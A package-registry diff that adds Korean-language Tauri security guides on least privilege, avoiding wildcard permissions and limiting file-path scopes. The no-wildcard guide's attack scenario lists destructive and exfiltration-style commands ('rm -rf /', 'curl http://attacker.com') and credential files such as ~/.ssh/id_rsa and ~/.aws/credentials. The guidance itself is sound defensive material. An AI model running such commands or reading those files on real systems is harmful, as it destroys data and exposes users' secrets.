@kood/claude-code 0.6.6 → 0.6.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (124) hide show
  1. package/dist/index.js +7 -1
  2. package/package.json +1 -1
  3. package/templates/.claude/agents/researcher.md +8 -1
  4. package/templates/.claude/instructions/sourcing/reliable-search.md +49 -2
  5. package/templates/.claude/skills/docs-fetch/SKILL.md +5 -4
  6. package/templates/.claude/skills/project-optimizer/AGENTS.md +275 -0
  7. package/templates/.claude/skills/project-optimizer/SKILL.md +374 -0
  8. package/templates/.claude/skills/project-optimizer/rules/arch-config-centralize.md +66 -0
  9. package/templates/.claude/skills/project-optimizer/rules/arch-hot-path.md +35 -0
  10. package/templates/.claude/skills/project-optimizer/rules/arch-interface-segregation.md +51 -0
  11. package/templates/.claude/skills/project-optimizer/rules/arch-module-boundary.md +42 -0
  12. package/templates/.claude/skills/project-optimizer/rules/build-cache.md +57 -0
  13. package/templates/.claude/skills/project-optimizer/rules/build-code-split.md +56 -0
  14. package/templates/.claude/skills/project-optimizer/rules/build-incremental.md +65 -0
  15. package/templates/.claude/skills/project-optimizer/rules/build-minify.md +61 -0
  16. package/templates/.claude/skills/project-optimizer/rules/build-tree-shake.md +60 -0
  17. package/templates/.claude/skills/project-optimizer/rules/code-complexity.md +65 -0
  18. package/templates/.claude/skills/project-optimizer/rules/code-dead-elimination.md +32 -0
  19. package/templates/.claude/skills/project-optimizer/rules/code-duplication.md +54 -0
  20. package/templates/.claude/skills/project-optimizer/rules/code-error-handling.md +75 -0
  21. package/templates/.claude/skills/project-optimizer/rules/code-naming.md +52 -0
  22. package/templates/.claude/skills/project-optimizer/rules/concurrency-defer-await.md +54 -0
  23. package/templates/.claude/skills/project-optimizer/rules/concurrency-parallel.md +90 -0
  24. package/templates/.claude/skills/project-optimizer/rules/concurrency-pipeline.md +68 -0
  25. package/templates/.claude/skills/project-optimizer/rules/concurrency-pool.md +68 -0
  26. package/templates/.claude/skills/project-optimizer/rules/deps-lightweight-alt.md +37 -0
  27. package/templates/.claude/skills/project-optimizer/rules/deps-peer-align.md +44 -0
  28. package/templates/.claude/skills/project-optimizer/rules/deps-security-audit.md +45 -0
  29. package/templates/.claude/skills/project-optimizer/rules/deps-unused-removal.md +25 -0
  30. package/templates/.claude/skills/project-optimizer/rules/deps-version-pin.md +40 -0
  31. package/templates/.claude/skills/project-optimizer/rules/dx-ci-speed.md +47 -0
  32. package/templates/.claude/skills/project-optimizer/rules/dx-dev-server.md +35 -0
  33. package/templates/.claude/skills/project-optimizer/rules/dx-lint-config.md +36 -0
  34. package/templates/.claude/skills/project-optimizer/rules/dx-test-coverage.md +34 -0
  35. package/templates/.claude/skills/project-optimizer/rules/dx-type-safety.md +49 -0
  36. package/templates/.claude/skills/project-optimizer/rules/io-batch-queries.md +67 -0
  37. package/templates/.claude/skills/project-optimizer/rules/io-cache-layer.md +67 -0
  38. package/templates/.claude/skills/project-optimizer/rules/io-connection-reuse.md +67 -0
  39. package/templates/.claude/skills/project-optimizer/rules/io-serialize-minimal.md +61 -0
  40. package/templates/.claude/skills/project-optimizer/rules/io-stream.md +75 -0
  41. package/templates/.claude/skills/project-optimizer/rules/memory-bounded-cache.md +65 -0
  42. package/templates/.claude/skills/project-optimizer/rules/memory-large-data.md +64 -0
  43. package/templates/.claude/skills/project-optimizer/rules/memory-lazy-init.md +78 -0
  44. package/templates/.claude/skills/project-optimizer/rules/memory-leak-prevention.md +79 -0
  45. package/templates/.claude/skills/project-optimizer/rules/memory-pool-reuse.md +70 -0
  46. package/templates/.claude/skills/sql-optimizer/SKILL.md +437 -0
  47. package/templates/.claude/skills/sql-optimizer/orm-patterns.md +218 -0
  48. package/templates/.claude/skills/tanstack-start-react-best-practices/AGENTS.md +53 -14
  49. package/templates/.claude/skills/tanstack-start-react-best-practices/SKILL.md +93 -27
  50. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/bundle-defer-third-party.md +42 -19
  51. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/client-optimistic-updates.md +109 -0
  52. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/client-suspense-query.md +74 -0
  53. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/client-use-hook.md +81 -0
  54. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/rerender-react-compiler.md +81 -0
  55. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-beforeload-auth.md +121 -0
  56. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-file-conventions.md +104 -0
  57. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-link-navigation.md +119 -0
  58. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-nested-layouts.md +155 -0
  59. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-path-params.md +89 -0
  60. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-pending-component.md +110 -0
  61. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-preload-strategy.md +91 -0
  62. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-router-context.md +120 -0
  63. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/routing-search-params.md +114 -0
  64. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-deferred-data.md +1 -1
  65. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-error-boundaries.md +79 -0
  66. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-middleware.md +85 -0
  67. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-serialization.md +56 -21
  68. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-streaming.md +84 -0
  69. package/templates/.claude/skills/tanstack-start-react-best-practices/rules/server-validator.md +71 -0
  70. package/templates/.claude/skills/tauri-react-best-practices/AGENTS.md +527 -0
  71. package/templates/.claude/skills/tauri-react-best-practices/SKILL.md +570 -0
  72. package/templates/.claude/skills/tauri-react-best-practices/rules/bundle-barrel-imports.md +140 -0
  73. package/templates/.claude/skills/tauri-react-best-practices/rules/bundle-cargo-profile.md +96 -0
  74. package/templates/.claude/skills/tauri-react-best-practices/rules/bundle-frontend-treeshake.md +242 -0
  75. package/templates/.claude/skills/tauri-react-best-practices/rules/bundle-lazy-components.md +255 -0
  76. package/templates/.claude/skills/tauri-react-best-practices/rules/bundle-remove-unused-commands.md +160 -0
  77. package/templates/.claude/skills/tauri-react-best-practices/rules/deploy-ci-pipeline.md +269 -0
  78. package/templates/.claude/skills/tauri-react-best-practices/rules/deploy-signing.md +207 -0
  79. package/templates/.claude/skills/tauri-react-best-practices/rules/deploy-updater.md +226 -0
  80. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-async-commands.md +172 -0
  81. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-batch-commands.md +133 -0
  82. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-binary-response.md +198 -0
  83. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-channel-streaming.md +186 -0
  84. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-error-handling.md +250 -0
  85. package/templates/.claude/skills/tauri-react-best-practices/rules/ipc-type-safe.md +227 -0
  86. package/templates/.claude/skills/tauri-react-best-practices/rules/perf-derived-state.md +231 -0
  87. package/templates/.claude/skills/tauri-react-best-practices/rules/perf-functional-setstate.md +191 -0
  88. package/templates/.claude/skills/tauri-react-best-practices/rules/perf-index-maps.md +276 -0
  89. package/templates/.claude/skills/tauri-react-best-practices/rules/perf-lazy-state-init.md +196 -0
  90. package/templates/.claude/skills/tauri-react-best-practices/rules/plugin-lifecycle.md +265 -0
  91. package/templates/.claude/skills/tauri-react-best-practices/rules/plugin-mobile-compat.md +199 -0
  92. package/templates/.claude/skills/tauri-react-best-practices/rules/plugin-permission-scope.md +193 -0
  93. package/templates/.claude/skills/tauri-react-best-practices/rules/react-error-boundary.md +239 -0
  94. package/templates/.claude/skills/tauri-react-best-practices/rules/react-event-listener.md +151 -0
  95. package/templates/.claude/skills/tauri-react-best-practices/rules/react-file-src.md +155 -0
  96. package/templates/.claude/skills/tauri-react-best-practices/rules/react-invoke-hook.md +139 -0
  97. package/templates/.claude/skills/tauri-react-best-practices/rules/react-optimistic-update.md +211 -0
  98. package/templates/.claude/skills/tauri-react-best-practices/rules/security-capability-split.md +205 -0
  99. package/templates/.claude/skills/tauri-react-best-practices/rules/security-csp.md +207 -0
  100. package/templates/.claude/skills/tauri-react-best-practices/rules/security-least-privilege.md +106 -0
  101. package/templates/.claude/skills/tauri-react-best-practices/rules/security-no-wildcard.md +253 -0
  102. package/templates/.claude/skills/tauri-react-best-practices/rules/security-scope-paths.md +160 -0
  103. package/templates/.claude/skills/tauri-react-best-practices/rules/state-async-mutex.md +270 -0
  104. package/templates/.claude/skills/tauri-react-best-practices/rules/state-mutex-pattern.md +265 -0
  105. package/templates/.claude/skills/tauri-react-best-practices/rules/state-react-sync.md +375 -0
  106. package/templates/.claude/skills/tauri-react-best-practices/rules/state-single-container.md +275 -0
  107. package/templates/tanstack-start/docs/architecture.md +238 -167
  108. package/templates/tanstack-start/docs/library/tanstack-router/error-handling.md +777 -38
  109. package/templates/tanstack-start/docs/library/tanstack-router/hooks.md +549 -37
  110. package/templates/tanstack-start/docs/library/tanstack-router/index.md +895 -111
  111. package/templates/tanstack-start/docs/library/tanstack-router/navigation.md +641 -43
  112. package/templates/tanstack-start/docs/library/tanstack-router/route-context.md +889 -38
  113. package/templates/tanstack-start/docs/library/tanstack-router/search-params.md +891 -29
  114. package/templates/tanstack-start/docs/library/tanstack-start/auth-patterns.md +972 -36
  115. package/templates/tanstack-start/docs/library/tanstack-start/index.md +1525 -881
  116. package/templates/tanstack-start/docs/library/tanstack-start/middleware.md +1099 -20
  117. package/templates/tanstack-start/docs/library/tanstack-start/routing.md +796 -30
  118. package/templates/tanstack-start/docs/library/tanstack-start/server-functions.md +953 -35
  119. package/templates/tanstack-start/docs/library/tanstack-start/setup.md +371 -15
  120. package/templates/tauri/CLAUDE.md +189 -0
  121. package/templates/tauri/docs/guides/distribution.md +261 -0
  122. package/templates/tauri/docs/guides/getting-started.md +302 -0
  123. package/templates/tauri/docs/guides/mobile.md +288 -0
  124. package/templates/tauri/docs/library/tauri/index.md +510 -0
@@ -0,0 +1,106 @@
1
+ # 최소 권한 원칙
2
+
3
+ ## 왜 중요한가
4
+
5
+ Tauri 애플리케이션은 시스템 리소스 접근 시 최소 권한 원칙(Principle of Least Privilege)을 따라야 합니다. 필요한 커맨드만 명시적으로 허용하면 공격 표면을 최소화하고, 악의적인 코드나 XSS 공격으로부터 사용자를 보호할 수 있습니다. 와일드카드 권한은 예상치 못한 커맨드 실행을 허용하여 심각한 보안 취약점이 됩니다.
6
+
7
+ ## ❌ 잘못된 패턴
8
+
9
+ ```json
10
+ // src-tauri/capabilities/default.json
11
+ {
12
+ "$schema": "../gen/schemas/desktop-schema.json",
13
+ "identifier": "default",
14
+ "description": "모든 권한 허용",
15
+ "windows": ["main"],
16
+ "permissions": [
17
+ "core:default",
18
+ "shell:allow-*",
19
+ "fs:allow-*",
20
+ "http:allow-*"
21
+ ]
22
+ }
23
+ ```
24
+
25
+ **문제점:**
26
+ - `allow-*` 와일드카드는 해당 플러그인의 모든 커맨드를 허용
27
+ - XSS 공격 시 임의의 셸 명령어, 파일 시스템 접근, HTTP 요청 가능
28
+ - 악의적인 스크립트가 민감한 데이터 탈취 가능
29
+ - 의도하지 않은 시스템 변경 발생 가능
30
+
31
+ ## ✅ 올바른 패턴
32
+
33
+ ```json
34
+ // src-tauri/capabilities/default.json
35
+ {
36
+ "$schema": "../gen/schemas/desktop-schema.json",
37
+ "identifier": "default",
38
+ "description": "최소 권한만 허용",
39
+ "windows": ["main"],
40
+ "permissions": [
41
+ "core:default",
42
+ "core:window:allow-close",
43
+ "core:window:allow-minimize",
44
+ "shell:allow-open",
45
+ "fs:allow-read-text-file",
46
+ "fs:allow-write-text-file",
47
+ "http:allow-fetch",
48
+ "http:allow-fetch-cancel"
49
+ ]
50
+ }
51
+ ```
52
+
53
+ **장점:**
54
+ - 애플리케이션이 필요한 기능만 명시적으로 나열
55
+ - 각 권한의 목적과 사용처가 명확함
56
+ - 보안 감사 시 검토 범위가 제한적
57
+ - 공격자가 악용할 수 있는 경로가 제한됨
58
+
59
+ **추가 예시 (scope와 함께 사용):**
60
+
61
+ ```json
62
+ {
63
+ "$schema": "../gen/schemas/desktop-schema.json",
64
+ "identifier": "default",
65
+ "description": "문서 편집 앱",
66
+ "windows": ["main"],
67
+ "permissions": [
68
+ "core:default",
69
+ {
70
+ "identifier": "fs:allow-read-text-file",
71
+ "allow": [
72
+ { "path": "$DOCUMENT/*" }
73
+ ]
74
+ },
75
+ {
76
+ "identifier": "fs:allow-write-text-file",
77
+ "allow": [
78
+ { "path": "$DOCUMENT/*" }
79
+ ]
80
+ },
81
+ "shell:allow-open"
82
+ ]
83
+ }
84
+ ```
85
+
86
+ ## 추가 컨텍스트
87
+
88
+ **주요 플러그인별 일반적인 권한:**
89
+
90
+ | 플러그인 | 일반적으로 필요한 권한 | 위험한 권한 |
91
+ |---------|---------------------|-----------|
92
+ | `core` | `window:allow-close`, `window:allow-minimize` | `app:allow-app-hide` (남용 가능) |
93
+ | `shell` | `allow-open` (URL 열기) | `allow-execute` (임의 명령 실행) |
94
+ | `fs` | `allow-read-text-file`, `allow-write-text-file` | `allow-remove`, `allow-rename` |
95
+ | `http` | `allow-fetch`, `allow-fetch-cancel` | - (scope 필수) |
96
+
97
+ **권한 설계 체크리스트:**
98
+ 1. 각 권한이 실제로 사용되는지 확인 (미사용 권한 제거)
99
+ 2. 와일드카드 사용 금지 (`allow-*`, `deny-*`)
100
+ 3. 파일 시스템 권한은 scope와 함께 사용
101
+ 4. HTTP 권한은 URL 패턴으로 제한
102
+ 5. `shell:allow-execute`는 가급적 피하고, 필요하면 특정 바이너리만 허용
103
+
104
+ **참조:**
105
+ - [Tauri Security Best Practices](https://tauri.app/v2/security/)
106
+ - [Capability Configuration](https://tauri.app/v2/core/capability/)
@@ -0,0 +1,253 @@
1
+ # 와일드카드 권한/경로 사용 금지
2
+
3
+ ## 왜 중요한가
4
+
5
+ 와일드카드(`*`)는 "모든 것"을 의미하며, 보안 정책에서 사용하면 예상치 못한 권한을 부여하게 됩니다. Tauri에서 와일드카드는 커맨드 권한(`allow: ["*"]`), 파일 경로(`path: "/*"`), HTTP URL(`urls: ["*"]`) 등 여러 곳에서 사용할 수 있지만, 모두 공격 표면을 크게 확대합니다. 명시적인 화이트리스트 방식을 사용하면 의도하지 않은 접근을 원천 차단할 수 있습니다.
6
+
7
+ ## ❌ 잘못된 패턴
8
+
9
+ ```json
10
+ // src-tauri/capabilities/default.json
11
+ {
12
+ "permissions": [
13
+ "shell:allow-*",
14
+ "fs:allow-*",
15
+ {
16
+ "identifier": "fs:allow-read-text-file",
17
+ "allow": [
18
+ { "path": "/*" }
19
+ ]
20
+ },
21
+ {
22
+ "identifier": "http:allow-fetch",
23
+ "allow": [
24
+ { "url": "*" }
25
+ ]
26
+ }
27
+ ]
28
+ }
29
+ ```
30
+
31
+ ```json
32
+ // tauri.conf.json
33
+ {
34
+ "app": {
35
+ "security": {
36
+ "assetProtocol": {
37
+ "scope": ["*"]
38
+ }
39
+ }
40
+ }
41
+ }
42
+ ```
43
+
44
+ **문제점:**
45
+ - `shell:allow-*`: 모든 셸 커맨드 실행 가능 (`execute`, `open`, `kill` 등)
46
+ - `fs:allow-*`: 모든 파일 시스템 작업 가능 (`remove`, `rename`, `mkdir` 등)
47
+ - `path: "/*"`: 시스템의 모든 파일 접근 가능
48
+ - `url: "*"`: 모든 도메인으로 HTTP 요청 가능 (SSRF 취약점)
49
+ - `scope: ["*"]`: 앱 리소스 보호 우회 가능
50
+
51
+ **공격 시나리오:**
52
+ 1. XSS 공격으로 악의적인 JavaScript 주입
53
+ 2. `shell:allow-execute`로 시스템 명령 실행 (`rm -rf /`, `curl http://attacker.com`)
54
+ 3. `fs:allow-*`로 민감한 파일 읽기 (`~/.ssh/id_rsa`, `~/.aws/credentials`)
55
+ 4. `http:allow-fetch`로 내부 네트워크 스캔 (SSRF)
56
+
57
+ ## ✅ 올바른 패턴
58
+
59
+ ```json
60
+ // src-tauri/capabilities/default.json
61
+ {
62
+ "permissions": [
63
+ "shell:allow-open",
64
+ "fs:allow-read-text-file",
65
+ "fs:allow-write-text-file",
66
+ {
67
+ "identifier": "fs:allow-read-text-file",
68
+ "allow": [
69
+ { "path": "$APPDATA/my-app/*.json" },
70
+ { "path": "$DOCUMENT/*.txt" }
71
+ ]
72
+ },
73
+ {
74
+ "identifier": "http:allow-fetch",
75
+ "allow": [
76
+ { "url": "https://api.example.com/*" },
77
+ { "url": "https://cdn.example.com/assets/*" }
78
+ ]
79
+ }
80
+ ]
81
+ }
82
+ ```
83
+
84
+ ```json
85
+ // tauri.conf.json
86
+ {
87
+ "app": {
88
+ "security": {
89
+ "assetProtocol": {
90
+ "scope": [
91
+ "$APPDATA/my-app/public/**",
92
+ "$RESOURCE/**"
93
+ ]
94
+ }
95
+ }
96
+ }
97
+ }
98
+ ```
99
+
100
+ **장점:**
101
+ - 각 권한이 명시적으로 나열되어 있음
102
+ - 파일 경로가 앱 데이터 디렉토리로 제한됨
103
+ - HTTP 요청이 신뢰할 수 있는 도메인으로만 가능
104
+ - 보안 감사 시 검토 범위가 명확함
105
+ - 공격자가 악용할 수 있는 경로가 제한됨
106
+
107
+ **추가 예시 (점진적 권한 추가):**
108
+
109
+ ```json
110
+ // Phase 1: 최소 권한으로 시작
111
+ {
112
+ "permissions": [
113
+ "core:default",
114
+ "shell:allow-open"
115
+ ]
116
+ }
117
+
118
+ // Phase 2: 기능 추가 시 필요한 권한만 추가
119
+ {
120
+ "permissions": [
121
+ "core:default",
122
+ "shell:allow-open",
123
+ {
124
+ "identifier": "fs:allow-read-text-file",
125
+ "allow": [{ "path": "$APPDATA/my-app/config.json" }]
126
+ }
127
+ ]
128
+ }
129
+
130
+ // Phase 3: 새 기능 추가
131
+ {
132
+ "permissions": [
133
+ "core:default",
134
+ "shell:allow-open",
135
+ {
136
+ "identifier": "fs:allow-read-text-file",
137
+ "allow": [
138
+ { "path": "$APPDATA/my-app/config.json" },
139
+ { "path": "$DOCUMENT/exports/*.csv" }
140
+ ]
141
+ },
142
+ {
143
+ "identifier": "http:allow-fetch",
144
+ "allow": [{ "url": "https://api.example.com/v1/*" }]
145
+ }
146
+ ]
147
+ }
148
+ ```
149
+
150
+ ## 추가 컨텍스트
151
+
152
+ **와일드카드 사용이 허용되는 경우:**
153
+
154
+ 1. **하위 경로 매칭 (권장)**
155
+ ```json
156
+ // ✅ 특정 디렉토리 내부만
157
+ { "path": "$APPDATA/my-app/*" }
158
+ { "url": "https://api.example.com/v1/*" }
159
+ ```
160
+
161
+ 2. **파일 확장자 매칭 (권장)**
162
+ ```json
163
+ // ✅ 특정 파일 타입만
164
+ { "path": "$DOCUMENT/*.{txt,md,json}" }
165
+ ```
166
+
167
+ 3. **절대 금지되는 와일드카드**
168
+ ```json
169
+ // ❌ 루트부터 전체 허용
170
+ { "path": "/*" }
171
+ { "path": "$HOME/*" }
172
+ { "url": "*" }
173
+ "shell:allow-*"
174
+ "fs:allow-*"
175
+ ```
176
+
177
+ **보안 감사 체크리스트:**
178
+
179
+ 아래 명령어로 프로젝트 내 와일드카드 사용을 찾아 수정하세요:
180
+
181
+ ```bash
182
+ # capabilities 파일에서 와일드카드 찾기
183
+ rg '"allow-\*"' src-tauri/capabilities/
184
+ rg '"path": "/\*"' src-tauri/capabilities/
185
+ rg '"url": "\*"' src-tauri/capabilities/
186
+
187
+ # tauri.conf.json에서 와일드카드 찾기
188
+ rg '"scope": \[.*"\*".*\]' src-tauri/tauri.conf.json
189
+ ```
190
+
191
+ **체크리스트:**
192
+
193
+ - [ ] `shell:allow-*` 사용 안 함
194
+ - [ ] `fs:allow-*` 사용 안 함
195
+ - [ ] `path: "/*"` 또는 `$HOME/*` 사용 안 함
196
+ - [ ] HTTP `url: "*"` 사용 안 함
197
+ - [ ] `assetProtocol.scope` 에 `"*"` 사용 안 함
198
+ - [ ] 모든 권한이 명시적으로 나열됨
199
+ - [ ] 각 권한의 필요성을 문서화함
200
+
201
+ **점진적 권한 추가 프로세스:**
202
+
203
+ 1. **최소 권한으로 시작**
204
+ ```json
205
+ { "permissions": ["core:default"] }
206
+ ```
207
+
208
+ 2. **기능 구현 시 필요한 권한만 추가**
209
+ ```typescript
210
+ // 컴파일 에러 또는 런타임 에러 발생
211
+ // -> 필요한 권한 추가
212
+ ```
213
+
214
+ 3. **주기적 권한 감사**
215
+ ```bash
216
+ # 사용되지 않는 권한 찾기
217
+ rg "invoke\(" src/ # 호출되는 Tauri 커맨드 목록
218
+ # capabilities/와 비교하여 미사용 권한 제거
219
+ ```
220
+
221
+ **일반적인 권한 오용 패턴:**
222
+
223
+ | 잘못된 패턴 | 올바른 패턴 | 이유 |
224
+ |-----------|-----------|------|
225
+ | `shell:allow-*` | `shell:allow-open` | URL 열기만 필요 |
226
+ | `fs:allow-*` | `fs:allow-read-text-file` + scope | 특정 파일만 읽기 |
227
+ | `path: "/*"` | `path: "$APPDATA/my-app/*"` | 앱 데이터만 접근 |
228
+ | `url: "*"` | `url: "https://api.example.com/*"` | 특정 API만 호출 |
229
+ | `"windows": ["*"]` | `"windows": ["main", "settings"]` | 필요한 윈도우만 |
230
+
231
+ **보안 경고 예시:**
232
+
233
+ ```json
234
+ // ⚠️ 이 설정은 보안 감사에서 탈락함
235
+ {
236
+ "permissions": [
237
+ "shell:allow-*", // 🚨 Critical: 임의 명령 실행 가능
238
+ {
239
+ "identifier": "fs:allow-read-text-file",
240
+ "allow": [{ "path": "/*" }] // 🚨 Critical: 전체 파일 시스템 접근
241
+ },
242
+ {
243
+ "identifier": "http:allow-fetch",
244
+ "allow": [{ "url": "*" }] // 🚨 High: SSRF 취약점
245
+ }
246
+ ]
247
+ }
248
+ ```
249
+
250
+ **참조:**
251
+ - [Tauri Security Best Practices](https://tauri.app/v2/security/)
252
+ - [Principle of Least Privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege)
253
+ - [OWASP API Security](https://owasp.org/www-project-api-security/)
@@ -0,0 +1,160 @@
1
+ # 파일 경로 Scope 제한
2
+
3
+ ## 왜 중요한가
4
+
5
+ Tauri의 파일 시스템 권한은 기본적으로 전체 시스템에 접근할 수 있습니다. Scope를 사용하여 접근 가능한 경로를 명시적으로 제한하면, 악의적인 코드나 프로그래밍 오류로 인한 민감한 파일(비밀번호, SSH 키, 시스템 설정 등) 접근을 방지할 수 있습니다. `deny` 리스트를 활용하면 특정 하위 경로를 추가로 차단할 수 있습니다.
6
+
7
+ ## ❌ 잘못된 패턴
8
+
9
+ ```json
10
+ // src-tauri/capabilities/default.json
11
+ {
12
+ "permissions": [
13
+ {
14
+ "identifier": "fs:allow-read-text-file",
15
+ "allow": [
16
+ { "path": "/*" }
17
+ ]
18
+ },
19
+ {
20
+ "identifier": "fs:allow-write-text-file",
21
+ "allow": [
22
+ { "path": "$HOME/*" }
23
+ ]
24
+ }
25
+ ]
26
+ }
27
+ ```
28
+
29
+ **문제점:**
30
+ - `path: "/*"`는 전체 파일 시스템 읽기 허용
31
+ - `$HOME/*`는 사용자 홈 디렉토리 전체를 쓰기 가능하게 함
32
+ - `.ssh/`, `.gnupg/`, `.aws/` 등 민감한 디렉토리 접근 가능
33
+ - 브라우저 비밀번호, 쿠키 파일 등 개인정보 유출 위험
34
+
35
+ ## ✅ 올바른 패턴
36
+
37
+ ```json
38
+ // src-tauri/capabilities/default.json
39
+ {
40
+ "permissions": [
41
+ {
42
+ "identifier": "fs:allow-read-text-file",
43
+ "allow": [
44
+ { "path": "$APPDATA/my-app/*" },
45
+ { "path": "$DOCUMENT/*.txt" },
46
+ { "path": "$DOCUMENT/*.json" }
47
+ ],
48
+ "deny": [
49
+ { "path": "$APPDATA/my-app/secrets/*" }
50
+ ]
51
+ },
52
+ {
53
+ "identifier": "fs:allow-write-text-file",
54
+ "allow": [
55
+ { "path": "$APPDATA/my-app/config.json" },
56
+ { "path": "$DOCUMENT/exports/*.txt" }
57
+ ]
58
+ }
59
+ ]
60
+ }
61
+ ```
62
+
63
+ **장점:**
64
+ - 애플리케이션 데이터 디렉토리와 문서 폴더만 접근 가능
65
+ - 파일 확장자로 추가 제한 (`.txt`, `.json`만 허용)
66
+ - `deny` 리스트로 민감한 하위 폴더 차단
67
+ - 사용자의 다른 데이터는 완전히 보호됨
68
+
69
+ **추가 예시 (임시 파일 처리):**
70
+
71
+ ```json
72
+ {
73
+ "permissions": [
74
+ {
75
+ "identifier": "fs:allow-read-text-file",
76
+ "allow": [
77
+ { "path": "$TEMP/my-app-*.tmp" }
78
+ ]
79
+ },
80
+ {
81
+ "identifier": "fs:allow-remove",
82
+ "allow": [
83
+ { "path": "$TEMP/my-app-*.tmp" }
84
+ ]
85
+ }
86
+ ]
87
+ }
88
+ ```
89
+
90
+ ## 추가 컨텍스트
91
+
92
+ **Tauri 환경 변수 목록:**
93
+
94
+ | 변수 | 설명 | macOS 경로 예시 | Windows 경로 예시 |
95
+ |------|------|----------------|------------------|
96
+ | `$APPDATA` | 앱 데이터 디렉토리 | `~/Library/Application Support` | `%APPDATA%` |
97
+ | `$APPLOCALDATA` | 로컬 앱 데이터 | `~/Library/Application Support` | `%LOCALAPPDATA%` |
98
+ | `$APPCONFIG` | 앱 설정 디렉토리 | `~/Library/Application Support` | `%APPDATA%` |
99
+ | `$APPLOG` | 로그 디렉토리 | `~/Library/Logs` | `%LOCALAPPDATA%` |
100
+ | `$APPCACHE` | 캐시 디렉토리 | `~/Library/Caches` | `%LOCALAPPDATA%\cache` |
101
+ | `$DOCUMENT` | 사용자 문서 폴더 | `~/Documents` | `%USERPROFILE%\Documents` |
102
+ | `$DOWNLOAD` | 다운로드 폴더 | `~/Downloads` | `%USERPROFILE%\Downloads` |
103
+ | `$PICTURE` | 사진 폴더 | `~/Pictures` | `%USERPROFILE%\Pictures` |
104
+ | `$DESKTOP` | 데스크톱 | `~/Desktop` | `%USERPROFILE%\Desktop` |
105
+ | `$HOME` | 홈 디렉토리 | `~` | `%USERPROFILE%` |
106
+ | `$TEMP` | 임시 파일 디렉토리 | `/tmp` | `%TEMP%` |
107
+ | `$RESOURCE` | 앱 리소스 (읽기 전용) | 앱 번들 내부 | 앱 설치 디렉토리 |
108
+
109
+ **Scope 설계 가이드라인:**
110
+
111
+ 1. **가장 구체적인 경로 사용**
112
+ ```json
113
+ // ❌ 너무 광범위
114
+ { "path": "$APPDATA/*" }
115
+
116
+ // ✅ 앱 전용 하위 디렉토리
117
+ { "path": "$APPDATA/my-app/*" }
118
+ ```
119
+
120
+ 2. **파일 확장자로 제한**
121
+ ```json
122
+ // 특정 파일 타입만 허용
123
+ { "path": "$DOCUMENT/*.pdf" }
124
+ { "path": "$DOCUMENT/*.{txt,md,json}" }
125
+ ```
126
+
127
+ 3. **Deny 리스트 활용**
128
+ ```json
129
+ {
130
+ "allow": [{ "path": "$APPDATA/my-app/*" }],
131
+ "deny": [
132
+ { "path": "$APPDATA/my-app/.env" },
133
+ { "path": "$APPDATA/my-app/tokens/*" }
134
+ ]
135
+ }
136
+ ```
137
+
138
+ 4. **읽기/쓰기 권한 분리**
139
+ ```json
140
+ // 읽기는 넓게, 쓰기는 좁게
141
+ {
142
+ "identifier": "fs:allow-read-text-file",
143
+ "allow": [{ "path": "$DOCUMENT/*" }]
144
+ },
145
+ {
146
+ "identifier": "fs:allow-write-text-file",
147
+ "allow": [{ "path": "$DOCUMENT/exports/*" }]
148
+ }
149
+ ```
150
+
151
+ **보안 체크리스트:**
152
+ - [ ] `path: "/*"` 또는 `$HOME/*` 사용하지 않음
153
+ - [ ] 앱 전용 서브디렉토리 사용 (`$APPDATA/my-app/`)
154
+ - [ ] 파일 확장자로 추가 제한
155
+ - [ ] 민감한 경로는 `deny` 리스트에 명시
156
+ - [ ] 읽기/쓰기 권한을 분리하여 최소화
157
+
158
+ **참조:**
159
+ - [Tauri File System Scope](https://tauri.app/v2/core/capability/#file-system-scope)
160
+ - [Path Variables Reference](https://tauri.app/v2/guides/filesystem/)